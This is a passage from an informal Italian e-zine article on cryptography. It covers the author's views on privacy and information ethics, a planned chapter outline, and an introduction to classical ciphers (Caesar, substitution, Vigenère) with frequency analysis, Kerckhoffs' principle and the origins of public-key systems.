l'hacking, poichè ,SE SE NE PRESENTASSE L'OCCASIONE (e spero non accada, anche
se credo che prima o poi sarà inevitabile), la guerra informatica sarà l'unico
campo in cui si potrà avere qualche speranza, poichè il dislivello di risorse
non è così enorme e la tecnologizzatissima America sarebbe estremamente
vulnerabile a questo tipo di attacco - basti pensare alle testate nucleari
controllate via computer. Ed è anche per questo motivo che la crittografia
digitale è utile, importante, legittima, vincente e quindi... scomoda:
parleremo in seguito dei tentativi che si sono fatti e si fanno tuttora per
arginarne la diffusione e vedrete che da qui a poco tempo sarà regolata da
leggi rigidissime, se non addirittura resa illegale. E a questo proposito vi
voglio dire: NON ILLUDETEVI DI VIVERE IN UNA SOCIETA' DEMOCRATICA! La
democrazia è sì possibile (ed è qui che secondo me gli anarchici sbagliano),
ma va conquistata con la fatica e con l'impegno di ognuno di noi, MAI CON LA
VIOLENZA!. Altra cosa da chiarire: tutto quello che scrivo è UNICAMENTE UNA
VISIONE SOGGETTIVA (e non potrebbe essere altrimenti, ma anche del Cogito Ergo
Sum parleremo dopo...), e quindi non lasciatevi influenzare dalle mie opinioni
perchè qui è tutto IMO. IO NON VOGLIO CERCARE DI CONVINCERE NESSUNO, nè
tantomeno voglio che qualcuno cerchi di convincere me. Secondo me è importante
che ognuno abbia un'opinione indipendente e mi piace pensare che questo sia
l'aspetto più importante della Rete: il semplice scambio di idee, dal quale
nascono altre idee che vengono ancora scambiate... e in men che non si dica una
nuova ideologia si è formata, un'ideologia sempre migliore. Io nella Rete ho
trovato molto e a volte mi stupisco delle cose che ho imparato in poco tempo
grazie ad un semplice modem: tutto o quasi quello che scriverò in questo
articolo l'ho trovato in rete e alla Rete io restituisco ciò che ho preso.
Questo era uno dei motivi che mi ha impedito a lungo di scrivere qualcosa (a
parte il non aver niente da scrivere, eheheh...): da una parte c'era il
desiderio di divulgare l'informazione (che a prima vista può sembrare una cosa
molto nobile), dall'altra il timore che informazioni delicate potessero finire
nelle mani sbagliate (vedi il Cookbook di Avatar, che secondo me è stata una
scelta un po' infelice...). La maggior parte degli hacker/phreaker/cracker
segue la prima ideologia credo, ma io resto sempre della mia opinione: mai
vedere le cose in bianco e nero. Il sapere un giorno che qualcuno ha ucciso con
le armi che tu stesso gli hai fornito potrebbe non essere piacevole. D'altronde
è anche vero che l'informazione è uno strumento, e in quanto tale non è buona o
cattiva in sè per sè, ma è buono o cattivo l'uso che se ne fa. A pensarci bene
non è una scelta tanto facile, almeno per chi ha un barlume di coscienza
addosso. Alla fine però, ognuno prende una sua decisione, decisione che se
viene presa con l'intento di fare la cosa giusta va rispettata qualunque essa
sia. E' un po' come quando Einstein - convinto pacifista - diede il suo
contributo alla realizzazione dell'atomica. Perchè lo fece? Mi piace pensare
che, come me e come tanti di voi, lo abbia fatto per calcolo delle probabilità,
ovvero scegliendo la strada che causa meno danni (e infatti la Guerra finì
subito), anche se a volte può sembrare un ragionamento cinico è innegabile che
sia il più logico. Lungi da me il voler elogiare la scelta di Einstein, diciamo
che bisognerebbe ragionarci su e io non voglio dare opinioni affrettate: finchè
è possibile certi problemi sarebbe meglio scacciarli dalla testa se si vuole
arrivare in salute alla vecchiaia. Ma ecco uno dei motivi che mi ha convinto a
scrivere questo articolo: la crittografia può essere sì un'arma, ma è
soprattutto una DIFESA: il pericolo che la si possa usare per scopi subdoli
secondo me non è neanche lontanamente paragonabile alla sua efficacia per la
protezione della privacy, una causa che sta a cuore a tutti credo, e che è la
più legittima...

Sono uno sciocco idealista dite? Lo ammetto, ho questo e altri difetti...

Ancora una cosa da chiarire: IO NON SONO UN HACKER, NE' UN CRACKER (Saiwa?...),
NE' TANTOMENO UN PHREAKER, anzi, se proprio lo volete sapere io non sono
nessuno, 0 appunto, al massimo mastico un pochino di matematica e di Visual
Basic, ma niente di più! Quindi non venitemi a rompere che Zer0 è un newbie di
merda xchè è assolutamente vero!

<Premesse sui sostantivi>
In tutto quest'articolo verranno usati quasi esclusivamente sostantivi
maschili. Tengo a precisare che questo non significa affatto che io sia
maschilista, gay o turbato psicologicamente dal gentil sesso, è solo una mia
comodità peraltro convenzionalmente accettata da questa zozza società, chissà
perchè poi se c'è davvero parità tra i sessi sul vocabolario trovi solo i
sostantivi maschili, mah... ;)
</Premesse sui sostantivi>

Allora, finiti i convenevoli vediamo un po' di addentrarci in questo infernale
argomento.
La crittografia è una cosa che mi ha sempre affascinato. Quando andavamo alle
medie io e un mio amico ad esempio avevamo inventato un codice per tirarci i
bigliettini da banco a banco senza pericolo che, in caso di intercettazione, si
venisse a sapere quello che c'era scritto (e c'erano scritte quasi sempre cose
che era meglio non si sapessero, eheheh). Il sistema era molto semplice, si
trattava praticamente dell'alfabeto dei Carbonari, ovvero:

-le consonanti venivano sostituite con la consonante più foneticamente simile
(esempio: B con P, M con N, S con Z, F con V, etc...), la Q e la H restano in
chiaro
-le vocali venivano scambiate così: A con O, E con I, la U resta in chiaro

In questo modo il messaggio, ad esempio:
A QUELLA GRAN TOPA DELLA PROF GLI SI VEDONO LE MUTANDINE DI PIZZO!

diventava così:
O QUIRRO CLOM DABO TIRRO BLAV CRE ZE FITAMA RI NUDOMTEMI TE BESSA!

Naturalmente è un sistema più che elementare. Nientemeno funzionava! Più di
una volta i prof ci stekkavano e leggevano il contenuto. Seguiva espressione di
stupore seguita da manifesto disappunto seguito da nota sul registro! Ma la
privacy era salva! (e comunque in molti casi il messaggio ci sarebbe costato
molto più di una nota...)
Questo esempio nella sua banalità dimostra già l'utilità della crittografia. Ma
la vera passione per questa disciplina è nata in me quando sentii parlare per
la prima volta dei crittosistemi a chiave asimmetrica. Conoscevo già a grandi
linee i princìpi di funzionamento di quelli simmetrici: prendi il messaggio in
chiaro e, utilizzando un procedimento che dipende dalla chiave di cifratura, lo
modifichi ottenendo il messaggio crittato. Poi prendi la stessa chiave,
applichi il procedimento al rovescio e riottieni il messaggio in chiaro.
Semplice. Logico. Ma coi crittosistemi asimmetrici la logica andava a farsi
fottere! Che storia è questa che servono due chiavi e che una serve SOLO per
crittare e un'altra SOLO per decrittare? Scusa, ma se usi un procedimento -
utilizzando come parametro la chiave pubblica - per crittare un messaggio,
basta che - con la stessa chiave - lo ripeti al contrario e il gioco è fatto! A
che serve stà fantomatica chiave privata? Naaaa, secondo me è una boiata!...
Beh, non lo era :)
Ma non ho creduto all'efficacia di questi sistemi fino a che non ho trovato dei
dettagliati documenti sull'algoritmo RSA (il più famoso crittosistema
asimmetrico conosciuto) che spiegavano, partendo dalle più elementari nozioni
matematiche, TUTTO il procedimento necessario. E vi assicuro che su quei
documenti ci ho sbrokkato sopra diversi giorni, perchè da lì ho capito subito
un concetto fondamentale della crittografia:
NON E' AFFATTO FACILE NE' COMPRENDERE A FONDO NE' APPLICARE EFFICACEMENTE LA
CRITTOGRAFIA
Molti la vedono come una barzelletta. Si crede che la crittologia sia nemmeno
un ramo di qualche disciplina ma... un gioco, un qualcosa di interesse e
dimensioni limitate. Sbagliato.
LA CRITTOLOGIA E' UNA SCIENZA
La possiamo considerare come un lontano ramo della logica, o addirittura della
matematica. Se ancora non vi siete stancati di leggere quest'articolo e vi va
di proseguire fino in fondo vedrete che non mi sbaglio :)
E che sia un argomento piuttosto spinoso lo dimostra il fatto che le
spiegazioni del funzionamento dei crittosistemi vengono sempre semplificate
all'osso. Lo scopo di quest'opera non è quello di dare un'infarinatura di
crittografia (come fanno la maggior parte dei documenti che ho letto a
riguardo), ma di dare una comprensione approfondita e totale dell'argomento -
sempre nel limite delle mie possibilità naturalmente. Esempio: avete mai letto
qualche articolo che spiega il funzionamento del PGP o meglio ancora dell'RSA?
Se lo avete fatto avrete sicuramente sentito questa minestra decine di volte:

"L'algoritmo del PGP/RSA si basa sulla difficoltà di fattorizzare grandi numeri
interi..."


Questa era una cosa che mi faceva letteralmente impazzire. ED ORA? PRATICAMENTE
NON MI HA DETTO NIENTE! Una volta saputa questa cosa sareste capaci voi di
ricostruire l'algoritmo RSA e di applicarlo ad un sorgente C o VB per
realizzare un programma di crittografia?
E' proprio questo lo scopo dell'articolo: la comprensione, la gestione e l'uso
dei crittosistemi moderni. Una volta finito di leggere avrete in mano un'arma
potentissima per difendere la vostra privacy: la capacità di comunicare i
fattacci vostri in assoluta sicurezza!
A meno che, naturalmente, non vi accontentiate di scaricarvi il PGP e di
lasciar fare da bravi hackers tutto a lui comodi comodi... :PPP

L'articolo sarà suddiviso così:
-PREAMBOLO (dovreste averlo appena letto :)))

-CAP. 1: INTRODUZIONE E STORIA DELLA CRITTOGRAFIA
Qui si accennerà alle questioni di base della crittografia, si parlerà delle
difficoltà e delle debolezze a cui è soggetta e si introdurrà anche una
terminologia di base che servirà a non fare confusione nel seguito
dell'articolo. Seguirà anche una breve "storia" della crittografia e alcune
considerazioni.

-CAP. 2: COGNIZIONI MATEMATICHE DI BASE
Eheheheh... e qui si comincia a sbroccare. So che molte persone odiano la
matematica, ma se volete capire qualcosa dei capitoli 6 e 7 (il "fulcro"
dell'articolo) non potete fare a meno di leggere stà roba. Vi dico subito che
la matematica è la mia materia preferita in assoluto: è sì una sega, ma è amica
di chi non la teme e vuole comprenderla... E posso dirvi anche che tutta la
crittografia asimmetrica (e parte di quella simmetrica) si basa su funzioni
matematiche avanzate, roba che difficilmente studierete a scuola. Comunque la
maggior parte di quello che c'è scritto in questa sezione dovreste averlo
studiato alle superiori e da questo punto di vista chi ha scelto un'indirizzo
di tipo scientifico sarà sicuramente avvantaggiato.

-CAP. 3: LOGICA E ALGEBRA DI BOOLE
Ogni smanettone che si rispetti dovrebbe conoscere a memoria questa roba :P
cmq l'articolo è rivolto anche e soprattutto ai newbie e quindi una ripassatina
breve breve non farà male ;)

-CAP. 4: ORDINE, CAOS ED ENTROPIA
Queste invece sono le dolenti note. Il capitolo 4 è il più "controverso",
perchè più che altro tratta di... filosofia! Lo so, lo so, mi state prendendo
per folle (se non mi ci avete già preso...), ma di tante boiate ci sono
concetti che esulano dal normale ramo tecnico: sono appunto i concetti di
ordine, caos ed entropia. C'è molta confusione su questi argomenti, ma sono
necessari per capire uno degli aspetti più subdoli legati alla crittografia: la
statistica! Quindi è meglio soffermarci un po' a fare una chiacchierata su
queste cose, io cercherò di non andare troppo fuori pista (anche se su queste
cose è facile cominciare a parlare e non fermarsi più), ma credo che sarà
comunque inevitabile tagliare qua e là :)

-CAP. 5: STRUTTURA DEI DATI
Una breve digressione sulla struttura dei dati nei file: si parlerà di
caratteri ASCII, utilizzo del digitale e algoritmi di compressione dati.
Analizzeremo anche l'entropia dei file in chiaro, crittati e compressi e
scopriremo che...

-CAP. 6: CRITTOSISTEMI SIMMETRICI
Finalmente inizia st'articolo :) Analisi del funzionamento degli algoritmi a
chiave simmetrica: DES, triplo DES, IDEA, CAST e altri, problemi di
crittanalisi e applicazioni nella pratica.

-CAP. 7: CRITTOSISTEMI ASIMMETRICI
La parte più "succosa": spiegazioni dettagliate sul funzionamento e possibili
attacchi ai più famosi algoritmi a chiave asimmetrica: RSA, Diffie-Hellmann,
Curve Ellittiche e cose di cui non potevate neanche immaginare l'esistenza...

-CAP. 8: APPLICAZIONI DELLA CRITTOGRAFIA
Firma digitale, funzioni di hashing, conversione dei dati, PGP, il protocollo
SSL, steganografia, attacchi non-standard alla vostra privacy... e chi + ne ha
+ ne metta!

-CONCLUSIONI
Tiriamo le somme...

-SALUTI E RINGRAZIAMENTI

-APPENDICE 1: Bibliografia

-APPENDICE 2: 4 chiacchiere sugli allegati

-VARIE ED EVENTUALI

Ah, un'ultimissima cosa:
DI TUTTE LE NEFANDEZZE POSSIBILI NON ACCUSATEMI DI COPIA-INCOLLA PERKE' QUESTA
E' TUTTA FARINA DEL MIO NOTEPAD!!!




+-------------------------------------------------------------------------------+
|INTRODUZIONE E STORIA DELLA CRITTOGRAFIA |
| . . . . . . *-----------------------------------------------------------------+
|Capitolo 1 / ...è uno sporco lavoro, ma qualcuno dovrà pur farlo...
+-----------*

Il termine "Crittografia" deriva dal greco "cryptos", cioè nascosto, segreto, e
"grafos", ovvero scrittura, rappresentazione simbolica. Per crittografia si
intendono tutte quelle tecniche che hanno lo scopo di rendere incomprensibili
alle persone non autorizzate delle informazioni riservate, rendendone possibile
l'accesso solo a una persona o a un ristretto numero di persone che conoscono
il "trucco" per farlo. Questo si ottiene in genere prendendo il messaggio
originale (detto TESTO IN CHIARO o "PLAINTEXT") e applicando su di esso un
procedimento (detto ALGORITMO o CIFRARIO), utilizzando un parametro che viene
definito "CHIAVE" (la cui natura, come vedremo, può variare), che lo trasforma
nel TESTO CIFRATO (anche detto CRITTOGRAMMA o "CYPHERTEXT"), molto diverso
dall'originale. Tutta questa operazione è chiamata CRITTAZIONE oppure
CIFRATURA, mentre il procedimento inverso (che permette di ottenere il testo in
chiaro dal testo cifrato) è chiamato DECRIPTAZIONE. L'ambito in cui tutto
questo si svolge è detto CRITTOSISTEMA: da un crittosistema a un altro possono
variare sia l'algoritmo che la chiave che il tipo di informazione codificata, e
in generale gli interi procedimenti di crittazione-decrittazione. La
CRITTANALISI invece è quella disciplina che cerca "punti deboli" nei vari
crittosistemi, nella speranza di trovare un metodo alternativo che permetta di
violarne la sicurezza e di accedere al contenuto dei messaggi anche se non si è
autorizzati. La scienza che si occupa sia di crittografia che di crittanalisi è
chiamata CRITTOLOGIA.
Storicamente la crittografia è stata usata quasi esclusivamente da quattro
gruppi di persone: i militari, i politici, gli amanti e i diaristi.
I militari hanno da sempre giocato il ruolo più importante, poichè la
crittografia applicata a scopi bellici è un'arma formidabile: più di una guerra
è stata vinta grazie alla capacità di comunicare informazioni vitali agli
alleati all'oscuro del nemico, e come vedremo è così anche oggi. Basti pensare
ai primi, grandi computer.

"...I primi calcolatori elettronici (l'americano ENIAC e il britannico
Colossus) furono messi a punto durante la Seconda Guerra Mondiale con compiti
specifici di raccolta ed elaborazione di informazioni: il computer ENIAC era
dedicato alla ricerca balistica, mentre il Colossus fu progettato con il
compito di decrittare il sistema di crittografia utilizzato dal comando
strategico nazista per comunicare gli ordini alle truppe (il famoso codice
Enigma).
Quando i calcolatori delle "
truppe alleate" riuscirono effettivamente a
decodificare il codice Enigma, tale successo costituì un vantaggio strategico
incolmabile: gli americani furono in grado di conoscere in anticipo le mosse
dei tedeschi senza che gli stessi tedeschi, convinti della sicurezza del
proprio codice, se ne rendessero conto. Nella storia non scritta della Seconda
Guerra Mondiale, fu probabilmente questo il fattore che più contribuì alla
sconfitta delle forze tedesco-giapponesi, molto più della bomba di Hiroshima.
Non è un caso infatti che a partire dall'immediato dopoguerra gli Stati Uniti
costituirono uno dei servizi d'informazione più segreti e misteriosi che
esistano, la NSA (National Security Agency), dedicato interamente allo studio
e all'analisi dei sistemi di comunicazione strategici. Le risorse utilizzate
dall'NSA vanno da un foltissimo gruppo di esperti linguisti (sempre nel corso
della guerra gli americani impiegarono nelle loro comunicazioni perfino un
gruppo di indiani Navaho, la cui lingua pare essere una delle più
incomprensibili sulla faccia della terra), fino alla più massiccia
concentrazione di potenza di calcolo esistente al mondo. I computer dell'NSA,
segretissimi e oggetto di molte leggende, si estendono per centinaia di metri
quadrati, e il loro unico compito è quello di macinare numeri e algoritmi di
crittografia..."


[Passo ripreso dal libro "Kryptonite"]

Certo, fino all'avvento dei computer la crittografia non è mai stata molto
avanzata, principalmente perchè gli addetti alla cifratura (e potevano anche
essere molti se la mole di informazioni da crittare/decrittare era elevata...)
dovevano innanzitutto essere sottoposti ad un addestramento tanto più lungo
quanto più complesso (e quindi, in genere, efficace...) era il metodo di
cifratura, e poi dovevano lavorare in condizioni spesso scomode, tipo in mezzo
a un campo di battaglia. Inoltre c'era il continuo pericolo di una fuga di
notizie: se qualcuno a conoscenza dei sistemi di cifratura tradiva o veniva
catturato e torturato l'unica cosa da fare era cambiare immediatamente sistema
e operatori - semprechè, naturalmente, si fosse a conoscenza della fuga di
notizie, sennò erano guai... Ma con questo non crediate che la crittologia sia
una disciplina risalente solo agli ultimi decenni, perchè in realtà è una delle
più antiche scienze conosciute dall'uomo: se ne hanno notizie anche nella
civiltà Egizia.
Uno dei cifrari più antichi e famosi che si conoscano è il "Cesareo" (non il
taglio eh?...), utilizzato dagli imperatori Romani. Si tratta di sostituire
ogni lettera con quella che la segue di X posti nell'ordine alfabetico, dove X
rappresenta in pratica la chiave e tenendo conto che se si "esce fuori
dall'alfabeto"
si "ricomincia il giro". Giulio Cesare ad esempio usava la
lettera che seguiva di 3 (X=3), mentre Cesare Augusto quella appena successiva
(X=1). Il messaggio:

SONO PAZZI QUESTI ROMANI!

per Cesare sarebbe diventato così:

VRQR SDCCN TAHVZN URPDQN!

mentre per Augusto diventava così:

TPOP QBAAL RVFTUL SPNBOL!

Ma questo cifrario è debolissimo! Si potrebbe infatti procedere tranquillamente
per tentativi, perchè le possibili chiavi sono al massimo 26 (o addirittura 21
se, come ho fatto io, utilizzate l'alfabeto latino) e quindi basta provare 26
combinazioni finchè non salta fuori qualcosa di leggibile!
Il provare tutte le combinazioni possibili è un procedimento noto come
"BRUTE-FORCING", e checchè se ne dica è efficace al 100%. Ma ha un difetto: in
genere (non è questo caso) è lentissimo! Se l'algoritmo è in grado di usare
chiavi DEL TUTTO CASUALI (e non sempre è così), trovare la giusta chiave
tramite brute-forcing significa, statisticamente, provare circa la metà delle
possibili chiavi e ogni crittosistema che si rispetti deve essere efficace
innanzitutto contro il brute-forcing! Tuttavia ci sono dei casi in cui questo
sistema rimane l'unica alternativa possibile o è addirittura conveniente.
Un miglioramento successivo si può avere nello stabilire, invece che una
semplice traslazione, una relazione univoca e casuale nelle lettere, tipo:

Testo in chiaro: A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
| | | | | | | | | | | | | | | | | | | | | | | | | |
Testo cifrato: Q W E R T Y U I O P A S D F G H J K L Z X C V B N M

(che non è poi così "CASUALE", ma vabbè...), dove la chiave è rappresentata
dalla stringa ordinata dell'alfabeto corrispondente (in questo caso la chiave è
"qwertyuiopasdfghjklzxcvbnm"). Il messaggio di prima sarebbe diventato:

LGFG HQMMO JXTLZO KGDQFO!

A prima vista questo sistema potrebbe sembrare inattaccabile, perchè le
possibili chiavi sono rappresentate da tutti i possibili anagrammi
dell'alfabeto: se l'alfabeto è composto da 26 lettere ci sono 26! combinazioni
possibili (il simbolo ! indica l'operazione di Fattoriale, ma sarà trattato nel
prossimo cap.), cioè per la precisione: 403291461126605635584000000
(kalkolatrice rulez...).
In realtà non è affatto così perchè questo sistema, come molti altri, ha un
grosso difetto: a lettera uguale corrisponde lettera uguale! Un crittanalista
di prima elementare vi ride in faccia e piglia subito in mano il suo
sussidiario con dentro... le tabelle di frequenza statistica del linguaggio!

<lettore> eeeehhhhh? E ke kazzo sò?

Semplice. In ogni linguaggio ci sono delle lettere che vengono usate più
spesso, pensate all'italiano: usate più spesso la A o la Z? Registrando la loro
frequenza relativa in una grande mole di opere di una particolare lingua
possono essere compilate delle dettagliatissime tabelle che ne riportano la
frequenza media statistica. Dovevo avere da qualche parte quella per la lingua
italiana ma non la ritrovo, cmq se vi interessa fate una ricerchina e vedrete
che la trovate. Utilizzando queste tabelle la sicurezza vi saluta! Basta
registrare la frequenza delle lettere del messaggio, compararla con quella
della lingua in cui è stato scritto e far coincidere tra loro lettere con
frequenza simile, tenete presente che più lungo è il cyphertext e (per la
Teoria dei Grandi Numeri) più questi dati coincideranno con quelli reali!
E a questo punto qualche furbone ha pensato di introdurre un sistema che
utilizza PIU' ALFABETI da usare a rotazione, ottenendo un cosiddetto "CIFRARIO
POLIALFABETICO"
. Un esempio è il famoso "Cifrario di Vigenère", che sarebbe una
matrice quadrata di 26 Alfabeti di Cesare: la prima riga, chiamata "A",
contiene l'alfabeto normale. La seconda chiamata "B" contiene l'alfabeto
traslato di 1: "BCD..YZA" e così via fino all'ultima riga, detta "Z", che
contiene l'alfabeto traslato di 25: "ZABC...WXY". La matrice di Vigenère è
dunque:

A: A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
B: B C D E F G H I J K L M N O P Q R S T U V W X Y Z A
C: C D E F G H I J K L M N O P Q R S T U V W X Y Z A B
D: D E F G H I J K L M N O P Q R S T U V W X Y Z A B C
E: E F G H I J K L M N O P Q R S T U V W X Y Z A B C D
F: F G H I J K L M N O P Q R S T U V W X Y Z A B C D E
G: G H I J K L M N O P Q R S T U V W X Y Z A B C D E F
H: H I J K L M N O P Q R S T U V W X Y Z A B C D E F G
I: I J K L M N O P Q R S T U V W X Y Z A B C D E F G H
J: J K L M N O P Q R S T U V W X Y Z A B C D E F G H I
K: K L M N O P Q R S T U V W X Y Z A B C D E F G H I J
L: L M N O P Q R S T U V W X Y Z A B C D E F G H I J K
M: M N O P Q R S T U V W X Y Z A B C D E F G H I J K L
N: N O P Q R S T U V W X Y Z A B C D E F G H I J K L M
O: O P Q R S T U V W X Y Z A B C D E F G H I J K L M N
P: P Q R S T U V W X Y Z A B C D E F G H I J K L M N O
Q: Q R S T U V W X Y Z A B C D E F G H I J K L M N O P
R: R S T U V W X Y Z A B C D E F G H I J K L M N O P Q
S: S T U V W X Y Z A B C D E F G H I J K L M N O P Q R
T: T U V W X Y Z A B C D E F G H I J K L M N O P Q R S
U: U V W X Y Z A B C D E F G H I J K L M N O P Q R S T
V: V W X Y Z A B C D E F G H I J K L M N O P Q R S T U
W: W X Y Z A B C D E F G H I J K L M N O P Q R S T U V
X: X Y Z A B C D E F G H I J K L M N O P Q R S T U V W
Y: Y Z A B C D E F G H I J K L M N O P Q R S T U V W X
Z: Z A B C D E F G H I J K L M N O P Q R S T U V W X Y

Si sceglie come chiave questa volta una semplice parola, possibilmente corta e
facile da ricordare, tipo PIPPO (se non lo sapete già, sappiate che "pippo" è
la password-lamer per eccellenza e viene nominata soltanto per fare esempi o
per sfottere qualcuno. Tralaltro è in genere la PRIMA che un crittanalista
prova, quindi x l'amor del cielo... NON USATELA MAI!!!).
Questa chiave viene scritta ripetutamente sopra il testo da crittare, esempio:

PIPPOPIPPOPIPPOPIPPOPIPPOPIPPOPIPPOPIPPOPIPPOPIP -> chiave ripetuta
||||||||||||||||||||||||||||||||||||||||||||||||
SOTTOLABARCALACARPACAMPASOPRALABARCALACARPACREPA -> messaggio da crittare

a questo punto si ottiene il messaggio crittato convertendo ogni lettera del
messaggio in chiaro secondo l'alfabeto di Cesare indicato sopra di essa,
esempio:

PIPPOPIPPOPIPPOPIPPOPIPPOPIPPOPIPPOPIPPOPIPPOPIP -> chiave ripetuta
||||||||||||||||||||||||||||||||||||||||||||||||
SOTTOLABARCALACARPACAMPASOPRALABARCALACARPACREPA -> messaggio da crittare
||||||||||||||||||||||||||||||||||||||||||||||||
HWIICAIQPFRIAPQPZEPQPUEPGDXGPZPJPGQPTPROGXPRFTXP -> messaggio crittato

Anf, anf! Che faticata! Eheheheh, bastardo di un crittanalista, ne è valsa la
pena però: stavolta ti ho fregato!

<CRITTANALISTA DI II ELEMENTARE> AHAHAHAHAHAH! IHIHIHIHIHIHIHIHI! MUAHAHAHAH!!!

Una seppia! Basta sapere soltanto la LUNGHEZZA della password per frammentare
il cyphertext in blocchi della stessa lunghezza e impilarli in una matrice le
cui colonne contengono lettere crittate con lo stesso alfabeto! Esempio:

password: PIPPO (non conosciuta)
lunghezza: 5 (conosciuta)
cyphertext: HWIICAIQPFRIAPQPZEPQPUEPGDXGPZPJPGQPTPROGXPRFTXP
segmentazione:
HWIIC AIQPF RIAPQ PZEPQ PUEPG DXGPZ PJPGQ PTPRO GXPRF TXP

creazione matrice:

H W I I C
A I Q P F
R I A P Q
P Z E P Q
P U E P G
D X G P Z
P J P G Q
P T P R O
G X P R F
T X P

Adesso il crittanalista sa, ad esempio, che le lettere della colonna HARPPDPPGT
sono il risultato della stessa traslazione e ora ha due possibilità: se le
colonne della matrice non sono tante (password corta, come in questo caso) si
può permettere anche di andare per brute-forcing, poichè, indicando con L la
lunghezza della password e con X le lettere dell'alfabeto, le combinazioni
possibili sono "soltanto" X ^ L (X elevato alla L, in questo caso 26^5 =
11881386), che sono pochissime se effettuate tramite un computer. Oppure,
specialmente nel caso di un messaggio molto lungo, tira fuori il famoso
sussidiario e utilizza su ogni singola colonna le tabelline che aveva studiato
a scuola l'anno prima... :PPP
Tutti questi semplici metodi che abbiamo visto fanno parte della categoria dei
CIFRARI DI SOSTITUZIONE ovvero: prendi una lettera e la sostituisci con
un'altra secondo una corrispondenza arbitraria, e sono stati abbastanza usati
negli anni addietro, ma oggi nessuno si sognerebbe di affidare a loro la
propria sicurezza! Diciamo subito anche che nel passato si tendeva ad
utilizzare algoritmi molto semplici e chiavi lunghissime. Oggi invece la
tendenza si è invertita: la chiave può anche essere relativamente corta, perchè
è l'algoritmo che deve essere molto complesso.

Ma quali sono i parametri per valutare la reale sicurezza di un algoritmo di
crittografia?
Ci sono tre, per così dire, "scenari" in cui può avvenire un attacco di
crittanalisi. Li riporto sotto per ordine di complessità:

-ATTACCO CYPHERTEXT-ONLY:
è lo scenario più "roseo", in quanto il crittanalista deve scoprire messaggio
in chiaro e chiave avendo a disposizione soltanto il testo crittato. Molte
volte l'unico sistema per riuscirci è il brute-forcing.

-ATTACCO KNOWN-PLAINTEXT:
in questo caso il nemico riesce a trovare una o più copie di messaggi in
chiaro e della loro corrispondente versione crittata: il suo scopo è di
ricavare così la chiave. Questa eventualità non è così remota: basta salvare,
ad esempio, sul proprio computer un messaggio in chiaro, crittarlo con qualche
programma e dimenticarsi di cancellare la copia in chiaro. Una eventuale
perquisizione e sequestro del pc darebbero al nemico entrambi questi elementi.

-ATTACCO CHOSEN-PLAINTEXT
questo è lo scenario più critico in quanto il nemico riesce, normalmente
tramite l'inganno, a scegliere lui stesso un particolare messaggio e ad
ottenere la sua versione crittata. Alcuni algoritmi infatti, se crittano
messaggi particolari e studiati appositamente, possono presentare delle "falle"
che i crittanalisti esperti riescono a sfruttare per avere informazioni sulla
chiave. Questo sistema è quello che ha permesso di rompere il codice Purple,
usato dai giapponesi durante la seconda guerra mondiale: gli americani
trasmisero un particolare messaggio alle forze giapponesi che sapevano sarebbe
stato ritrasmesso, crittato, al quartier generale; re-intercettando il
rispettivo cyphertext i crittanalisti americani riuscirono a violare il codice.

Inoltre c'è da fare la seguente considerazione: bisogna sempre partire dal
presupposto che il nemico conosca perfettamente l'algoritmo usato per la
cifratura e che l'unica informazione che gli manchi sia la chiave, permettendo
così di non curarsi della fuga di informazioni riguardo al funzionamento del
cifrario. Questa regola è il famoso "PRINCIPIO DI KERCKHOFF", ovvero:

LA ROBUSTEZZA DI UN CRITTOSISTEMA NON DEVE DIPENDERE DALLA SEGRETEZZA
DELL'ALGORITMO

A questo punto: se un crittosistema, oltre al brute-forcing, è resistente a
tutti e tre gli scenari sopra ipotizzati attenendosi SEMPRE al Principio di
Kerckhoff, ALLORA PUO' ESSERE CONSIDERATO SICURO. Alcuni dei più noti algoritmi
di crittografia usati oggi sono il DES, il TDES (triplo DES o 3DES), il CAST,
l'IDEA e il Blowfish.

Tutti questi esempi hanno però una particolarità: sono SIMMETRICI. Questo
significa che usano la stessa chiave per criptare e per decriptare, e questo
spesso rappresenta un problema: se abbiamo la necessità di crittare i dati tra
noi e il nostro interlocutore significa che pensiamo ci sia il rischio che tali
dati vengano intercettati da qualcuno che non sa farsi i kavolacci suoi,
giusto? Però non sempre abbiamo la possibilità di incontrare il nostro
interlocutore e scambiarci le chiavi di persona, e allora che facciamo? Se c'è
il rischio che qualcuno intercetti i dati che transitano tra di noi c'è anche
il rischio che questo qualcuno intercetti la chiave che io tento di inviare,
no? Come fare?

I crittosistemi a chiave asimmetrica hanno cominciato a essere studiati dalla
fine degli anni '70, grazie alle spinte provenienti dalla Teoria della
Complessità che si sviluppava in quel periodo. Essi si basano sulla seguente
idea: bisogna cercare un qualche problema in linea di massima risolvibile, ma
così difficile da impiegare millenni per essere risolto. Questi particolari
problemi sono noti come PROBLEMI INTRATTABILI. Se si riesce a trovare una
qualche proprietà nascosta, una "scorciatoia", che permetta di risolvere un
Problema Intrattabile in fretta conoscendo un particolare parametro, con un po'
di fortuna si può realizzare un crittosistema che utilizzi due chiavi: una
CHIAVE PUBBLICA con la quale sia possibile SOLO crittare i dati, e una CHIAVE
PRIVATA, che serva SOLO per decrittarli. In questo modo, basta spedire al
nostro interlocutore la nostra chiave pubblica, con la quale lui potrà crittare
tranquillamente i dati, dati che una volta crittati NEMMENO LUI sarà più in
grado di riottenere in chiaro (perchè se ci provasse si troverebbe costretto a
risolvere il problema intrattabile), ma solo noi con la nostra chiave privata
(che rappresenta il parametro per utilizzare la "scorciatoia" e che custodiremo
gelosamente) potremo farlo. Così facendo anche se il nemico intercettasse la
chiave pubblica (che è l'unica che transita) non saprebbe ugualmente che farci,
perchè non gli permetterebbe di accedere alle informazioni riservate. In breve
tempo, Whitfield Diffie e Martin Hellmann misero a punto un sistema che diede
il via allo sviluppo dei crittosistemi a chiave pubblica: il protocollo
Diffie-Hellmann. Poco dopo, Ron Rivest, Adi Shamir e Leonard Adleman
svilupparono il primo vero ed efficiente crittosistema asimmetrico della
storia: l'RSA (dalle iniziali degli inventori). Da allora fino a oggi molti
crittosistemi asimmetrici sono stati inventati, basati sui più diversi problemi
logico-matematici (problema dello Zaino, gruppi differenti su campi finiti,
matrici, curve ellittiche...), ma la maggior parte di essi si è presto rivelata
insicura. Comunque il protocollo Diffie-Hellmann e l'RSA resistono egregiamente
tuttora, anche se con alcuni accorgimenti.

E' mio desiderio citare qui anche i moderni "grandi" della crittografia, almeno
quelli di cui sono a conoscenza... :P
I crittologi citati sopra sono senz'altro quelli che più di tutti hanno
contribuito allo sviluppo dei moderni crittosistemi. Ron Rivest specialmente è
una leggenda in questo campo: oltre ad aver contribuito all'RSA ha inventato
